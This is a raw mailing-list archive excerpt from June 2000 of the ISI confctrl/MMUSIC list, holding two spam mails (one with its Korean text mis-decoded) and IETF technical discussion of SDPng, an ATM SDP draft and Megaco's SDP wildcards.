teacher noticed a student flipping a coin before writing 
each answer.

"What are you doing?" he asked the student.

"Taking the test," the student replied.

"Head is true and tail false."

The period ended, and as the teacher collectde the papers 
he saw the student frantically flipping the coin and 
staring at his exam.

"And are you doing now?" asked the teacher.

"Checking my answers."

* true - false test : Á¤¿À±âÀÔ Å×½ºÆ®(OX¹®Á¦ µî)
* flip a coin :µ¿ÀüÀ» Æ¢±â´Ù.
* frantically :Á¤½Å¾øÀÌ

OX¹®Á¦¸¦ Ç®°íÀÖ´Â ±×ÀÇ ¹Ý ÇлýµéÀ» ÁöÄѺ¸´ø ÇÏÀ̽ºÄð 
±³»çÀÇ ´«¿¡, ´ä¾ÈÀ» ¾²±âÀü¿¡ µ¿ÀüÀ» Æ¢±â°í ÀÖ´Â ÇÑ 
ÇлýÀÌ º¸¿´´Ù.

"¹» ÇÏ°í ÀÖ´Â °Å¾ß?"ÇÏ°í ¼±»ýÀº ¹°¾ú´Ù.

"½ÃÇè´ä¾ÈÀ» ¾²°í ÀÖ¾î¿ä. µ¿Àü ¾Õ¸éÀÌ ³ª¿À¸é ¸Â´Â °Å°í 
 µÞ¸éÀÌ ³ª¿À¸é Ʋ¸° °Å¿¡¿ä."¶ó°í ÇлýÀº ´ë´äÇß´Ù.

½Ã°£ÀÌ ´Ù µÅ ´ä¾ÈÁö¸¦ °È¾îµéÀ̸鼭 º¸´Ï ±× ÇлýÀº Á¤½Å¾øÀÌ 
µ¿ÀüÀ» Æ¢±â¸é¼­ ´ä¾ÈÁö¸¦ µé¿©´Ù º¸°í ÀÖ¾ú´Ù.

"±×°Ç ¹¹ÇÏ´Â °Å¾ß"ÇÏ°í ¼±»ýÀº ¹°¾ú´Ù.

"´äÀÌ ¸Â³ª È®ÀÎÇÏ°í ÀÖ´Â °Å¿¡¿ä." 

¢Ä ¿À´ÃÀÇ ¿µ¾î ÇѸ¶µð ¢Å

¢Â There's a call for you.

A : Mr.Jinwoo, there's a call for you. 
B : Who's on the line?
A : Mr.Lee from Online Korea Co.
B : All right. Put him through.

¢Á ÀüÈ­¸¦ ¹Ù²ãÁÙ ‹š 'ÀüÈ­ ¿Ô¾î¿ä'¶ó´Â Ç¥ÇöÀº There's a call for
   you. ¶ó°í ÇÒ ¼ö ÀÖ¾î¿ä. 
   À̶§ '´©±¸ÇÑÅ×¼­ ¿Ô¾î¿ä?'ÇÏ°í ¹¯´Â Ç¥ÇöÀº Who is it? ¶Ç´Â 
   Who's on the line? µîÀ¸·Î ¸»ÇÒ ¼ö ÀÖ´ä´Ï´Ù.

¢Â ÀüÈ­ ¿Ô½À´Ï´Ù.

A : Áø¿ì¾¾, ÀüÈ­ ¿Ô½À´Ï´Ù.
B : ´©±¸½Å°¡¿ä?
A : ¿Â¶óÀÎÄÚ¸®¾ÆÀÇ Mr.¸®ÀÔ´Ï´Ù.
B : ÁÁ¾Æ¿ä. ¿¬°á½ÃÄÑ ÁÖ¼¼¿ä.

¢Ï ÀÚÁÖ »ç¿ëµÇ´Â Ç¥Çö

¨ç You have a phone call on line three. 
¨è You are wanted on the phone.
¨é Will you answer the phone?
¨ê Who wants to speak with me?

¨ç 3¹øÀ¸·Î ÀüÈ­ ¿Ô½À´Ï´Ù.
¨è ÀüÈ­ ¿Ô½À´Ï´Ù.
¨é ÀüÈ­ ¹Þ¾Æ º¸½Ã°Ú¾î¿ä?
¨ê ´©±¸ÇÑÅ×¼­ ¿Ô³ª¿ä?

¢Ä ¿À´ÃÀÇ ÀÏ¾î  ÇѸ¶µð ¢Å

   ¡ØÀϾ ¿µ¾î¿Í °°Àº ÇüÅ·Π±¸¼º µÇ¾î ÀÖ½À´Ï´Ù.
-------------------------------------------------------------------
===================================================================
¾È³çÇϼ¼¿ä? 

ÀúÈñ´Â ÀüÈ­¸¦ ÀÌ¿ëÇؼ­ °­»ç¿Í 1:1·Î ¿Ü±¹¾î ÇнÀÀ» ÇÒ ¼ö ÀÖ´Â 
¢Ä Online korea[ http://www.d-day.co.kr ] ¢Å¶ó°í ÇÕ´Ï´Ù.

Çã¶ô¾øÀÌ ÆíÁö µå·Á Á˼ÛÇÕ´Ï´Ù. 
¾ÕÀ¸·Î´Â Çã¶ô¾ø´Â ÆíÁö´Â µå¸®Áö ¾Ê°Ú½À´Ï´Ù.
ÇÏ¿À´Ï, ºÎµð ³Ê±×·¯¿î ¿ë¼­¸¦......

ÀúÈñ ȸ»ç¿¡¼­´Â »ýÈ° ȸȭ¿¡ °ü½ÉÀÖ´Â ³×ƼÁð ¿©·¯ºÐ¿¡°Ô
¸ÅÀÏ(¿ù-±Ý), ½Ç »ýÈ°¿¡ ÇÊ¿äÇÑ »ýȰȸȭ ÇÑ ¹®À徿À» 
¹«·á·Î º¸³» µå¸®°í ÀÖ¾î¿ä.

¼­ºñ½º ³»¿ëÀº À§¿Í °°ÀÌ ±¸¼º µÇ¿À´Ï ¹Þ¾Æº¸±æ ¿øÇϽô ºÐÀº 
¡ì olk@olk.co.kr ¡í·Î "yes"¶ó´Â mailÀ» ÁÖ½Ã¸é µÈ´ä´Ï´Ù.

±×¸®°í, ÀúÈñ ÀüÈ­ ¿Ü±¹¾î °­ÀÇ°¡ ±Ã±ÝÇϽŠºÐµéÀ» À§ÇØ 
¢Â½Ã¹ü°­ÀǢ¸¦ 
1ȸ¿¡ ÇÑÇؼ­ ¹«·á·Î ½Ç½ÃÇÏ°í ÀÖÀ¸´Ï ¸¹ÀÌ ½ÅûÇØ ÁÖ¼¼¿ä.

¹«·á ½Ã¹ü°­ÀÇ ½Åû ¹æ¹ýÀº ¢º www.d-day.co.kr ¢¸ ¿¡ Á¢¼ÓÇϽŠÈÄ 
"°­ÀǼҰ³"¶õÀ» Ŭ¸¯ÇϽŴÙÀ½ "°­ÀǽÅû"¶õÀ» º¸½Ã¸é ½Ã¹ü°­ÀǸ¦ 
½ÅûÇÏ½Ç ¼ö ÀÖ¾î¿ä. ÀüÈ­ 02-588-0510 À¸·Îµµ ½ÅûÇÒ ¼ö ÀÖ´ä´Ï´Ù.

¾Æ¹«ÂÉ·Ï ÀÌ ÇнÀ¹ýÀ¸·Î ȸȭ ½Ç·Â Çâ»ó¿¡ ÀÛÀº º¸ÅÛÀÌ µÇ¾úÀ¸¸é ÇÕ´Ï´Ù.

°¨»çÇÕ´Ï´Ù.

ºÒÇÊ¿äÇÑ Á¤º¸¿´´Ù¸é ´ë´ÜÈ÷ Á˼ÛÇÕ´Ï´Ù.
--AD_2000_PART_BOUNDARY_19990606--


From confctrl-owner  Sat Jun 10 23:19:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA21849
	for confctrl-outgoing; Sat, 10 Jun 2000 23:19:31 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA21844
	for <confctrl@zephyr.isi.edu>; Sat, 10 Jun 2000 23:19:30 -0700 (PDT)
Received: from 209.58.67.69 ([209.58.67.69])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id XAA24181
	for <confctrl@isi.edu>; Sat, 10 Jun 2000 23:20:00 -0700 (PDT)
Received: apparently from Palito - 209.58.67.69 by 209.58.67.69  with Microsoft SMTPSVC(5.5.1775.675.6);
	 Sat, 10 Jun 2000 23:44:48 -0500
X-Sender: peruvians2000@hotmail.com
From: Jorge Mattiesti <peruvians2000@hotmail.com>
To: confctrl@ISI.EDU
Date: Sat, 10 Jun 2000 23:44:48 -0500
Subject: page about Peru
Reply-To: jorge@209.58.67.69
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__8708962_85488,95"
Message-ID: <04b134844040b60MARQUITO@209.58.67.69>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__8708962_85488,95
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


------=_NextPart_000_001__8708962_85488,95
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 7bit

<html>

<head>
<meta http-equiv="Content-Language" content="es">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Please</title>
</head>

<body>

<p>Please visit page of Peru: <a href="http://209.58.67.69/peruvians">http://209.58.67.69/peruvians</a>&nbsp;
Our country is a beautiful place for know. </p>
<p>Jorge </p>

</body>

</html>

------=_NextPart_000_001__8708962_85488,95--


From confctrl-owner  Sun Jun 11 23:29:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA11165
	for confctrl-outgoing; Sun, 11 Jun 2000 23:29:34 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA11160
	for <confctrl@zephyr.isi.edu>; Sun, 11 Jun 2000 23:29:33 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id XAA02103
	for <confctrl@ISI.EDU>; Sun, 11 Jun 2000 23:30:04 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.10.1/8.10.1/WIREfire-1.9) with ESMTP id e5C6UDr20083
	for <confctrl@ISI.EDU>; Mon, 12 Jun 2000 08:30:13 +0200 (MET DST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.114])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id JAA29436
	for <confctrl@ISI.EDU>; Mon, 12 Jun 2000 09:30:12 +0300 (EET DST)
Message-ID: <39448358.48155264@lmf.ericsson.se>
Date: Mon, 12 Jun 2000 09:29:44 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: Status of SDPng
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I would like to know the status of the so called, SDPng. Is there any
draft available about it? Are there folks working on it? Time frame for
this work, goals...

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 30 52
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Mon Jun 12 14:52:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA21072
	for confctrl-outgoing; Mon, 12 Jun 2000 14:52:40 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21067
	for <confctrl@zephyr.isi.edu>; Mon, 12 Jun 2000 14:52:39 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA03082
	for <confctrl@isi.edu>; Mon, 12 Jun 2000 14:53:10 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA03913;
	Mon, 12 Jun 2000 17:52:44 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA06955;
	Mon, 12 Jun 2000 17:52:44 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <MR1YQYLC>; Mon, 12 Jun 2000 17:52:44 -0400
Message-ID: <4FBEA8857476D311A03300204840E1CF678458@whq-msgusr-02.fore.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, ISC_DeviceControl@inventures.com,
        confctrl@ISI.EDU
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com
Subject: RE: ATM SDP draft 0.03
Date: Mon, 12 Jun 2000 17:52:39 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFD4B8.8A301F46"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD4B8.8A301F46
Content-Type: text/plain;
	charset="ISO-8859-1"

I'll look closely at the draft over the next several days.
 
In Megaco, we use SDP much more intensively for configuration negotiation.
To support this,
the MGC (call agent) can send a partially specified SDP to the MG (gateway).
When it encounters this, the MG can select any value it can
support.  The fully specified SDP is then returned to the MGC.
 
There are two ways to "underspecify".  One is CHOOSE ($).  This
is the same as MGCP - it means you may pick any value you can support.
The other is "alternatives", which are coded like {1,2,3}.  This means
choose any of the listed alternatives you can support.
 
The dB range is due to the equivalent in "native" annex C, which supports
a 16 bit value.   Overkill, most definitely.
 
Brian

-----Original Message-----
From: Rajesh Kumar [mailto:rkumar@cisco.com]
Sent: Monday, June 12, 2000 5:43 PM
To: ISC_DeviceControl@inventures.com; confctrl@isi.edu
Cc: atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
Subject: ATM SDP draft 0.03


Team,
Attached is an updated version (0.03) of the ATM SDP draft. It has all your
comments
factored in (and I mean all of them :-)

The document is missing page numbers, which will not be added until the IETF
submission
draft (0.04). Since I do not know of a good way to convert word processor
files into
plain text, I am editing a plain text document and I need to insert Page #s,
formatting
etc. manually.

I plan to issue another draft following your next round of comments. This
next
draft (0.04) will be presented to the IETF with (possible) final call at the
Pittsburgh meeting. Since I need to generate and submit the next draft
(0.04) by
the IETF cut-off date of July 10, I would appreciate your prompt review of
the
attached document.

I have not been able to comprehend the following statement in the Megaco
draft about
SDP. Could some one explain to me what it means in the context of the
attached SDP 
document? My view is that the "$" wildcard in SDP is equivalent to the
"choose" wildcard
in Megaco. Also, there is no need for the violate SDP syntax in my opinion
(contrary to
what Megaco says):

   "In session descriptions sent from the MGC to the MG, the following
exceptions to the     
    syntax of RFC 2327 are allowed:

   . the use of CHOOSE is allowed in place of a single parameter value,and
   . the use of alternatives is allowed in place of a single parameter
value."

Also, I feel that the decibel range allowed for inserted loss in the Megaco
draft is absurdly large (who needs to insert a loss of 65,535 dB? !!)



------_=_NextPart_001_01BFD4B8.8A301F46
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>I'll 
look closely at the draft over the next several days.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>In 
Megaco, we use SDP much more intensively for configuration negotiation.&nbsp; To 
support this,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>the 
MGC (call agent) can send a partially specified SDP to the MG 
(gateway).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000></SPAN></FONT><FONT color=#0000ff face=Arial 
size=2><SPAN class=640474621-12062000>When it encounters this, the MG can select 
any value it can</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000>support.&nbsp; The fully specified SDP is then returned 
to the MGC.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>There 
are two ways to "underspecify".&nbsp; One is CHOOSE ($).&nbsp; 
This</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>is the 
same as MGCP - it means you may pick any value you can 
support.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>The 
other is "alternatives", which are coded like {1,2,3}.&nbsp; This 
means</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>choose 
any of the listed alternatives you can support.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>The dB 
range is due to the equivalent in "native" annex C, which 
supports</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=640474621-12062000>a 16 
bit value.&nbsp;&nbsp; Overkill, most definitely.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=640474621-12062000>Brian</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> Monday, June 12, 2000 5:43 
  PM<BR><B>To:</B> ISC_DeviceControl@inventures.com; 
  confctrl@isi.edu<BR><B>Cc:</B> atmsdp@eng.fore.com; mmostafa@cisco.com; 
  hisham@cisco.com; rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; 
  skaria@cisco.com<BR><B>Subject:</B> ATM SDP draft 
  0.03<BR><BR></DIV></FONT><FONT color=#0000ff>Team,<BR>Attached is an updated 
  version (0.03) of the ATM SDP draft. It has all your comments<BR>factored in 
  (and I mean all of them :-)<BR><BR>The document is missing page numbers, which 
  will not be added until the IETF submission<BR>draft (0.04). Since I do not 
  know of a good way to convert word processor files into<BR>plain text, I am 
  editing a plain text document and I need to insert Page #s, formatting<BR>etc. 
  manually.<BR><BR>I plan to issue another draft following your next round of 
  comments. This next<BR>draft (0.04) will be presented to the IETF with 
  (possible) final call at the<BR>Pittsburgh meeting. Since I need to generate 
  and submit the next draft (0.04) by<BR>the IETF cut-off date of July 10, I 
  would appreciate your prompt review of the<BR>attached document.<BR><BR>I have 
  not been able to comprehend the following statement in the Megaco draft 
  about<BR>SDP. Could some one explain to me what it means in the context of the 
  attached SDP <BR>document? My view is that the "$" wildcard in SDP is 
  equivalent to the "choose" wildcard<BR>in Megaco. Also, there is no need for 
  the violate SDP syntax in my opinion (contrary to<BR>what Megaco 
  says):<BR><BR></FONT><FONT color=#ff0000><I>&nbsp;&nbsp; "In session 
  descriptions sent from the MGC to the MG, the following exceptions to 
  the&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; syntax of RFC 2327 are 
  allowed:<BR><BR>&nbsp;&nbsp; . the use of CHOOSE is allowed in place of a 
  single parameter value,and<BR>&nbsp;&nbsp; . the use of alternatives is 
  allowed in place of a single parameter value."<BR><BR></FONT></I><FONT 
  color=#0000ff>Also, I feel that the decibel range allowed for inserted loss in 
  the Megaco draft is absurdly large (who needs to insert a loss of 65,535 dB? 
  !!)<BR></BLOCKQUOTE></FONT></BODY></HTML>

------_=_NextPart_001_01BFD4B8.8A301F46--

From confctrl-owner  Tue Jun 13 17:41:42 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA03332
	for confctrl-outgoing; Tue, 13 Jun 2000 17:41:42 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA03323
	for <confctrl@zephyr.isi.edu>; Tue, 13 Jun 2000 17:41:40 -0700 (PDT)
Received: from ertpg14e1.nortelnetworks.com (ertpg14e1.nortelnetworks.com [47.234.0.35])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA06095
	for <confctrl@ISI.EDU>; Tue, 13 Jun 2000 17:42:11 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually zrtpd004) 
          by ertpg14e1.nortelnetworks.com; Tue, 13 Jun 2000 20:32:10 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) 
          id <MPQCYTN5>; Tue, 13 Jun 2000 20:32:10 -0400
Message-ID: <28560036253BD41191A10000F8BCBD11480AA0@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, ISC_DeviceControl@inventures.com,
        confctrl@ISI.EDU
Cc: atmsdp@eng.fore.com, mmostafa@cisco.com, hisham@cisco.com,
        rizvan@cisco.com, rbiskner@cisco.com, joestone@cisco.com,
        skaria@cisco.com
Subject: RE: ATM SDP draft 0.03
Date: Tue, 13 Jun 2000 20:32:08 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFD597.F9D0F624"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFD597.F9D0F624
Content-Type: text/plain

For your information, Rajesh, the IETF supplies a Word template at
 http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc

You print the resulting document to file using the "generic text printer"
driver, then run it through the supplied DOS executable crlf.exe to make
sure every CR is paired with a LF.

Brian explained most of what Megaco offers in the MGC->MG direction.  We can
also use inequality constraints on numerical values.  This should probably
save a lot of repeated session descriptions when we want to have MGC-MG
negotiation at the detailed parameter level.

> -----Original Message-----
> From:	Rajesh Kumar [SMTP:rkumar@cisco.com]
> Sent:	Monday, June 12, 2000 5:43 PM
> To:	ISC_DeviceControl@inventures.com; confctrl@ISI.EDU
> Cc:	atmsdp@eng.fore.com; mmostafa@cisco.com; hisham@cisco.com;
> rizvan@cisco.com; rbiskner@cisco.com; joestone@cisco.com; skaria@cisco.com
> Subject:	ATM SDP draft 0.03
> 
> Team,
> Attached is an updated version (0.03) of the ATM SDP draft. It has all
> your comments
> factored in (and I mean all of them :-)
> 
> The document is missing page numbers, which will not be added until the
> IETF submission
> draft (0.04). Since I do not know of a good way to convert word processor
> files into
> plain text, I am editing a plain text document and I need to insert Page
> #s, formatting
> etc. manually.
> 
> I plan to issue another draft following your next round of comments. This
> next
> draft (0.04) will be presented to the IETF with (possible) final call at
> the
> Pittsburgh meeting. Since I need to generate and submit the next draft
> (0.04) by
> the IETF cut-off date of July 10, I would appreciate your prompt review of
> the
> attached document.
> 
> I have not been able to comprehend the following statement in the Megaco
> draft about
> SDP. Could some one explain to me what it means in the context of the
> attached SDP 
> document? My view is that the "$" wildcard in SDP is equivalent to the
> "choose" wildcard
> in Megaco. Also, there is no need for the violate SDP syntax in my opinion
> (contrary to
> what Megaco says):
> 
>    "In session descriptions sent from the MGC to the MG, the following
> exceptions to the     
>     syntax of RFC 2327 are allowed:
> 
>    . the use of CHOOSE is allowed in place of a single parameter value,and
>    . the use of alternatives is allowed in place of a single parameter
> value."
> 
> Also, I feel that the decibel range allowed for inserted loss in the
> Megaco draft is absurdly large (who needs to insert a loss of 65,535 dB?
> !!)
>  << File: ATMsdpWorkingDraft03.txt >>  << File: atmsdpWorkDraft0.03.pdf >>
> << Message:  >> 

------_=_NextPart_001_01BFD597.F9D0F624
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: ATM SDP draft 0.03</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">For your =
information, Rajesh, the IETF supplies a Word template at</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><U>&nbsp;<A =
HREF=3D"http://www.ietf.org/internet-drafts/Internet_Draft_Template.doc"=
 =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/Internet_Draft_Tem=
plate.doc</A></U></FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">You print the =
resulting document to file using the &quot;generic text printer&quot; =
driver, then run it through the supplied DOS executable crlf.exe to =
make sure every CR is paired with a LF.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Brian explained most =
of what Megaco offers in the MGC-&gt;MG direction.&nbsp; We can also =
use inequality constraints on numerical values.&nbsp; This should =
probably save a lot of repeated session descriptions when we want to =
have MGC-MG negotiation at the detailed parameter level.</FONT></P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Rajesh Kumar [SMTP:rkumar@cisco.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Monday, June 12, 2000 5:43 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">ISC_DeviceControl@inventures.com; =
confctrl@ISI.EDU</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">atmsdp@eng.fore.com; mmostafa@cisco.com; =
hisham@cisco.com; rizvan@cisco.com; rbiskner@cisco.com; =
joestone@cisco.com; skaria@cisco.com</FONT></P>

<P><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">ATM SDP draft 0.03</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" FACE=3D"Arial">Team,<BR>
Attached is an updated version (0.03) of the ATM SDP draft. It has all =
your comments<BR>
factored in (and I mean all of them :-)<BR>
<BR>
The document is missing page numbers, which will not be added until the =
IETF submission<BR>
draft (0.04). Since I do not know of a good way to convert word =
processor files into<BR>
plain text, I am editing a plain text document and I need to insert =
Page #s, formatting<BR>
etc. manually.<BR>
<BR>
I plan to issue another draft following your next round of comments. =
This next<BR>
draft (0.04) will be presented to the IETF with (possible) final call =
at the<BR>
Pittsburgh meeting. Since I need to generate and submit the next draft =
(0.04) by<BR>
the IETF cut-off date of July 10, I would appreciate your prompt review =
of the<BR>
attached document.<BR>
<BR>
I have not been able to comprehend the following statement in the =
Megaco draft about<BR>
SDP. Could some one explain to me what it means in the context of the =
attached SDP<BR>
document? My view is that the &quot;$&quot; wildcard in SDP is =
equivalent to the &quot;choose&quot; wildcard<BR>
in Megaco. Also, there is no need for the violate SDP syntax in my =
opinion (contrary to<BR>
what Megaco says):<BR>
<BR>
</FONT><I><FONT COLOR=3D"#FF0000" FACE=3D"Arial">=A0=A0 &quot;In =
session descriptions sent from the MGC to the MG, the following =
exceptions to the=A0=A0=A0=A0<BR>
=A0=A0=A0 syntax of RFC 2327 are allowed:<BR>
<BR>
=A0=A0 . the use of CHOOSE is allowed in place of a single parameter =
value,and<BR>
=A0=A0 . the use of alternatives is allowed in place of a single =
parameter value.&quot;<BR>
<BR>
</FONT></I><FONT COLOR=3D"#0000FF" FACE=3D"Arial">Also, I feel that the =
decibel range allowed for inserted loss in the Megaco draft is absurdly =
large (who needs to insert a loss of 65,535 dB? !!)<BR>
</FONT><FONT FACE=3D"Arial">&nbsp;&lt;&lt; File: =
ATMsdpWorkingDraft03.txt &gt;&gt;&nbsp; &lt;&lt; File: =
atmsdpWorkDraft0.03.pdf &gt;&gt;&nbsp; &lt;&lt; Message:&nbsp; &gt;&gt; =
</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFD597.F9D0F624--

From confctrl-owner  Wed Jun 14 09:10:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA20077
	for confctrl-outgoing; Wed, 14 Jun 2000 09:10:32 -0700 (PDT)
